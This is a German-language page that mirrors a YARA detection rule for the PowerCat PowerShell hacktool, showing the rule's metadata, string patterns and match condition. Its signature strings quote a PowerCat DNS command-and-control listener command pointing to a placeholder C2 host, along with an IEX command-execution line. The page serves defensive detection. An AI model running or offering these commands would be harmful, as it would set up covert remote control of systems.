YARA · Signature Base (Florian Roth / Nextron)
SIGNATURE_BASE_HKTL_PS1_Powercat_Mar21
Detects PowerCat hacktool
- Autor
- Florian Roth (Nextron Systems)
- Datum
- 2021-03-02
- Geändert
- 2023-12-05
- Score / Qualität
- 75 / 85
Was diese Regel erkennt
Detects PowerCat hacktool
Sie definiert 5 Muster (5 Text, 0 Hex, 0 Regex).
Zusammenfassung aus den Metadaten und der Bedingung der Regel erzeugt.
Regelquelltext
rule SIGNATURE_BASE_HKTL_PS1_Powercat_Mar21 : FILE
{
meta:
= "Detects PowerCat hacktool"
= "Florian Roth (Nextron Systems)"
= "ae3963e8-2fe9-5bc3-bf72-95f136622832"
= "2021-03-02"
= "2023-12-05"
= "https://github.com/besimorhino/powercat"
= "https://github.com/Neo23x0/signature-base/blob/94a1c48d7ab499879287ff611dfe7f9c56376030/yara/apt_hafnium.yar#L84-L103"
= "https://github.com/Neo23x0/signature-base/blob/94a1c48d7ab499879287ff611dfe7f9c56376030/LICENSE"
= "c55672b5d2963969abe045fe75db52069d0300691d4f1f5923afeadf5353b9d2"
= "cbd5c6f7c5b4ed713482588ee4490a2326fe11cfaacfb3bfc6a6d94130a8bc83"
= 75
= 85
= "FILE"
strings:
$x1 = "powercat -l -p 8000 -r dns:10.1.1.1:53:c2.example.com" ascii fullword
$x2 = "try{[byte[]]$ReturnedData = $Encoding.GetBytes((IEX $CommandToExecute 2>&1 | Out-String))}" ascii fullword
$s1 = "Returning Encoded Payload..." ascii
$s2 = "$CommandToExecute =" ascii fullword
$s3 = "[alias(\"Execute\")][string]$e=\"\"," ascii
condition:
uint16( 0 ) == 0x7566 and filesize < 200KB and 1 of ( $x* ) or 3 of them
}
Strings (5 Muster)
| Bezeichner | Typ | Wert | Modifikatoren |
|---|---|---|---|
| $x1 | Text | "powercat -l -p 8000 -r dns:10.1.1.1:53:c2.example.com" | ascii fullword |
| $x2 | Text | "try{[byte[]]$ReturnedData = $Encoding.GetBytes((IEX $CommandToExecute 2>&1 | Out-String))}" | ascii fullword |
| $s1 | Text | "Returning Encoded Payload..." | ascii |
| $s2 | Text | "$CommandToExecute =" | ascii fullword |
| $s3 | Text | "[alias(\"Execute\")][string]$e=\"\"," | ascii |
Bedingung
uint16( 0 ) == 0x7566 and filesize < 200KB and 1 of ( $x* ) or 3 of themIn Worten (Heuristik)
- Die Datei muss kleiner als 200KB sein (eine günstige Grenze, die große Dateien ausschließt).
- Mindestens 1 Muster aus ( $x* ) müssen treffen.
- Mindestens 3 Muster aus der Regel müssen treffen.
Diese Regel im Browser testen
Legen Sie eine Datei ab, um sie mit dieser Regel und YARA-X als WebAssembly zu scannen. Nichts wird hochgeladen.
Referenzen
Proben-Hashes
Hashes der Proben, die der Autor in den Metadaten der Regel nennt (in Ihrer Threat-Intelligence-Plattform nachschlagen).
- c55672b5d2963969abe045fe75db52069d0300691d4f1f5923afeadf5353b9d2
Lizenz & Namensnennung
Autor: Florian Roth (Nextron Systems)
Quell-Repository: Signature Base (Florian Roth / Nextron) @ 94a1c48d7a
Lizenz: Detection Rule License 1.1 (Repository-Lizenz)
Gespiegelt über YARA Forge 20260927, das Regelnamen mit der Quelle präfixiert und normalisierte Meta-Felder ergänzt.
Regel-ID: ae3963e8-2fe9-5bc3-bf72-95f136622832
Tags:FILE
Verwandte Regeln
- HacktoolSignature Base (Florian Roth / Nextron)· Florian Roth (Nextron Systems)· 2020-08-09
- HacktoolSignature Base (Florian Roth / Nextron)· Florian Roth (Nextron Systems)· 2021-09-08
- HacktoolSignature Base (Florian Roth / Nextron)· Florian Roth (Nextron Systems)· 2022-12-27
- HacktoolSignature Base (Florian Roth / Nextron)· Florian Roth (Nextron Systems)· 2022-09-15
- HacktoolSignature Base (Florian Roth / Nextron)· Florian Roth (Nextron Systems)· 2021-03-03
- HacktoolSignature Base (Florian Roth / Nextron)· Florian Roth (Nextron Systems)· 2020-04-07
- APT / AkteurSignature Base (Florian Roth / Nextron)· Florian Roth (Nextron Systems)· 2022-01-16
- APT / AkteurSignature Base (Florian Roth / Nextron)· Florian Roth (Nextron Systems)· 2022-01-16